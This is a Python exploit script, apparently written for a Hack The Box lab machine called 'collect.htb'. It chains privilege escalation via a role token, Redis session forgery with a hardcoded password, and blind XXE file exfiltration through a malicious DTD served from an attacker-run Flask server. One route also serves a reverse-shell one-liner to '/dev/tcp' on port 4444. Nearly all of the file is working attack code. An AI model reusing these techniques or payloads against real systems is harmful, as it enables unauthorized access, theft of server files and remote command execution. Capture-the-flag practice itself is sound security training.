310 lines
9.3 KiB
Python
310 lines
9.3 KiB
Python
import os
|
|
import sys
|
|
import time
|
|
from threading import Thread
|
|
|
|
import subprocess
|
|
|
|
import netifaces as ni
|
|
from flask import Flask
|
|
import requests, base64
|
|
import argparse
|
|
|
|
app = Flask(__name__)
|
|
_path = "index.php"
|
|
_phpsessionid = ""
|
|
_ip = ""
|
|
_gotReq = True
|
|
_searcher=None
|
|
_searching = False
|
|
_searcher = None
|
|
|
|
proxy = {'http':'http://127.0.0.1:8080'}
|
|
|
|
s = requests.session()
|
|
r = s.get('http://collect.htb/')
|
|
_phpsessionid = s.cookies.get('PHPSESSID')
|
|
r = s.post("http://collect.htb/register", data={'username': 'user', 'password': 'user'})
|
|
r = s.post("http://collect.htb/login", data={'username': 'user', 'password': 'user'})
|
|
r = s.post("http://collect.htb/set/role/admin", data={"token": "ddac62a28254561001277727cb397baf"})
|
|
r = s.post("http://collect.htb/set/role/admin", data={"token": ""})
|
|
print("Set to Admin")
|
|
|
|
import subprocess
|
|
# arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:{_phpsessionid}", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";']
|
|
arr = ["redis-cli", "-h", "collect.htb", "-a", "COLLECTR3D1SPASS" ,"set", f"PHPREDIS_SESSION:mntn7eua54uhar8d4rrhfjslsp", 'username|s:4:\"user\";role|s:5:\"admin\";auth|s:4:\"True\";']
|
|
subprocess.call(arr)
|
|
print(f"USE: {_phpsessionid}")
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('--port', type=int, required=False, default=80)
|
|
args = parser.parse_args()
|
|
|
|
|
|
def is_port_in_use(port: int) -> bool:
|
|
import socket
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
|
return s.connect_ex((_ip, port)) == 0 or s.connect_ex(('127.0.0.1', port)) == 0
|
|
|
|
|
|
def getIP(nic):
|
|
try:
|
|
ip = ni.ifaddresses(nic)[ni.AF_INET][0]['addr']
|
|
print(f"Found IP {ip}")
|
|
return ip # should print "192.168.100.37"
|
|
except:
|
|
return ""
|
|
|
|
|
|
_ip = getIP('tun0')
|
|
while _ip == "":
|
|
print("Could not find IP address for VPN NIC")
|
|
interface = input("Please enter the interface name: ")
|
|
_ip = getIP(interface)
|
|
while is_port_in_use(args.port):
|
|
args.port += 1
|
|
|
|
import logging
|
|
|
|
log = logging.getLogger('werkzeug')
|
|
log.setLevel(logging.ERROR)
|
|
|
|
|
|
|
|
@app.route('/c')
|
|
def c():
|
|
return f"sh -i >& /dev/tcp/{_ip}/4444 0>&1"
|
|
|
|
|
|
@app.route('/xxe.dtd')
|
|
def xxe():
|
|
global _gotReq
|
|
_gotReq = True
|
|
return f"""<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource={_path}'>
|
|
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{_ip}:{args.port}/file/%file;'>">
|
|
%eval;
|
|
%exfiltrate;"""
|
|
|
|
|
|
@app.route('/file/<content>')
|
|
def file(content):
|
|
content = base64.b64decode(content).decode()
|
|
if content != "":
|
|
print(content)
|
|
t = _path.replace('../', '').replace('/', '.')
|
|
while t[0] == ".":
|
|
t = t[1:]
|
|
if 'target' not in os.listdir():
|
|
os.mkdir('target')
|
|
with open(f'target/{t}', "w+") as file:
|
|
file.writelines(content)
|
|
file.close()
|
|
return ""
|
|
|
|
|
|
def request(ip, id):
|
|
data = f"""manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{ip}:{args.port}/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/login</uri><user><username>user1</username><password>pass</password></user></root>"""
|
|
try:
|
|
requests.post("http://collect.htb/api",
|
|
headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'},
|
|
data=data)
|
|
except:
|
|
pass
|
|
pass
|
|
|
|
|
|
class Server(Thread):
|
|
|
|
port = 80
|
|
|
|
def __int__(self):
|
|
super(Server, self).__init__()
|
|
|
|
def setIP(self, ip):
|
|
self.ip = ip
|
|
|
|
def setPort(self, port):
|
|
self.port = port
|
|
|
|
def setServerObject(self, obj):
|
|
self.app = obj
|
|
|
|
def run(self) -> None:
|
|
try:
|
|
self.app.run(host=self.ip, port=self.port)
|
|
except Exception as e:
|
|
print(f"exception: {e}")
|
|
|
|
|
|
class Singleton:
|
|
"""
|
|
A non-thread-safe helper class to ease implementing singletons.
|
|
This should be used as a decorator -- not a metaclass -- to the
|
|
class that should be a singleton.
|
|
|
|
The decorated class can define one `__init__` function that
|
|
takes only the `self` argument. Also, the decorated class cannot be
|
|
inherited from. Other than that, there are no restrictions that apply
|
|
to the decorated class.
|
|
|
|
To get the singleton instance, use the `instance` method. Trying
|
|
to use `__call__` will result in a `TypeError` being raised.
|
|
|
|
"""
|
|
|
|
def __init__(self, decorated):
|
|
self._decorated = decorated
|
|
|
|
def instance(self):
|
|
"""
|
|
Returns the singleton instance. Upon its first call, it creates a
|
|
new instance of the decorated class and calls its `__init__` method.
|
|
On all subsequent calls, the already created instance is returned.
|
|
|
|
"""
|
|
try:
|
|
return self._instance
|
|
except AttributeError:
|
|
self._instance = self._decorated()
|
|
return self._instance
|
|
|
|
def __call__(self):
|
|
raise TypeError('Singletons must be accessed through `instance()`.')
|
|
|
|
@Singleton
|
|
class Searcher(Thread):
|
|
searcherapp = Flask("searcher")
|
|
startpath = "."
|
|
dirlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
|
|
file = ""
|
|
id = _phpsessionid
|
|
port = 12346
|
|
while is_port_in_use(args.port):
|
|
port += 1
|
|
_gotReq = False
|
|
_path = ""
|
|
|
|
def __int__(self):
|
|
super(Server, self).__init__()
|
|
|
|
@searcherapp.route('/xxe.dtd')
|
|
def searcher_xxe(self=_searcher):
|
|
s = Searcher.instance()
|
|
s._gotReq = True
|
|
return f"""<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource={s._path}'>
|
|
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{_ip}:{s.port}/file/%file;'>">
|
|
%eval;
|
|
%exfiltrate;"""
|
|
|
|
@searcherapp.route('/file/<content>')
|
|
def file(content):
|
|
global _searching
|
|
content = base64.b64decode(content).decode()
|
|
if content != "":
|
|
print(f"\nfound: {Searcher.instance()._path}\n")
|
|
print("> ")
|
|
t = Searcher.instance()._path.replace('../', '').replace('/', '.')
|
|
while t[0] == ".":
|
|
t = t[1:]
|
|
if 'target' not in os.listdir():
|
|
os.mkdir('target')
|
|
with open(f'target/{t}', "w+") as file:
|
|
file.writelines(content)
|
|
file.close()
|
|
_searching = False
|
|
return ""
|
|
|
|
def request(self, ip, id):
|
|
data = f"""manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{ip}:{self.port}/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/login</uri><user><username>user1</username><password>pass</password></user></root>"""
|
|
try:
|
|
requests.post("http://collect.htb/api",
|
|
headers={'Cookie': f'PHPSESSID={id}', 'Content-type': 'application/x-www-form-urlencoded'},
|
|
data=data)
|
|
except Exception as e:
|
|
print(e.with_traceback())
|
|
pass
|
|
|
|
def setup(self, file=None, id=None, startpath=None, dirlist=None):
|
|
if file: self.file = file
|
|
if startpath: self.startpath = startpath
|
|
if id: self.id = id
|
|
if dirlist: self.dirlist = dirlist
|
|
|
|
def setFile(self, file):
|
|
self.file = file
|
|
|
|
def setStartPath(self, startpath):
|
|
self.startpath = startpath
|
|
|
|
def setID(self, id):
|
|
self.id = id
|
|
|
|
def setDirlist(self, dirlist):
|
|
self.dirlist = dirlist
|
|
|
|
def run(self) -> None:
|
|
global _searching,_searcher
|
|
_searcher = self
|
|
s = Server()
|
|
s.setIP(_ip)
|
|
s.setPort(self.port)
|
|
s.setServerObject(self.searcherapp)
|
|
s.start()
|
|
time.sleep(0.5)
|
|
self.ar = []
|
|
_searching = True
|
|
self._gotReq = True
|
|
with open(self.dirlist) as dirs:
|
|
self.ar = dirs.read().split("\n")
|
|
for line in self.ar:
|
|
if not _searching:
|
|
print("Done searching")
|
|
return
|
|
self._path = str(f"{self.startpath}/{line}/{self.file}".replace("//", "/"))
|
|
while self._gotReq == False:
|
|
pass
|
|
self._gotReq = False
|
|
self.request(_ip, _phpsessionid)
|
|
|
|
pass
|
|
|
|
|
|
if __name__ == '__main__':
|
|
pid = os.getpid()
|
|
print(f"running on pid: {pid}")
|
|
|
|
print("starting flask server")
|
|
server = Server()
|
|
server.setIP(_ip)
|
|
server.setPort(args.port)
|
|
server.setServerObject(app)
|
|
server.start()
|
|
|
|
time.sleep(0.5)
|
|
|
|
print("Now input a path or 'exit', or 'search'")
|
|
while True:
|
|
_path = input("> ")
|
|
|
|
if _searching and _path == "q":
|
|
_searching = False
|
|
|
|
if _path == "exit":
|
|
subprocess.call(['kill', str(pid)])
|
|
exit(0)
|
|
elif _path == "search":
|
|
print("search file [startpath] [dirlist]")
|
|
print(
|
|
"example: search login.php ../../developers[default:''] /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt[default]")
|
|
elif _path.split(" ")[0] == "search":
|
|
s = Searcher.instance()
|
|
s.setFile(_path.split(" ")[1])
|
|
s.setID(_phpsessionid)
|
|
if len(_path.split(" ")) >= 3:
|
|
s.setStartPath(startpath=_path.split(" ")[2])
|
|
if len(_path.split(" ")) >= 4:
|
|
s.setDirlist(dirlist=_path.split(" ")[3])
|
|
s.start()
|
|
time.sleep(0.5)
|
|
else:
|
|
request(_ip, _phpsessionid)
|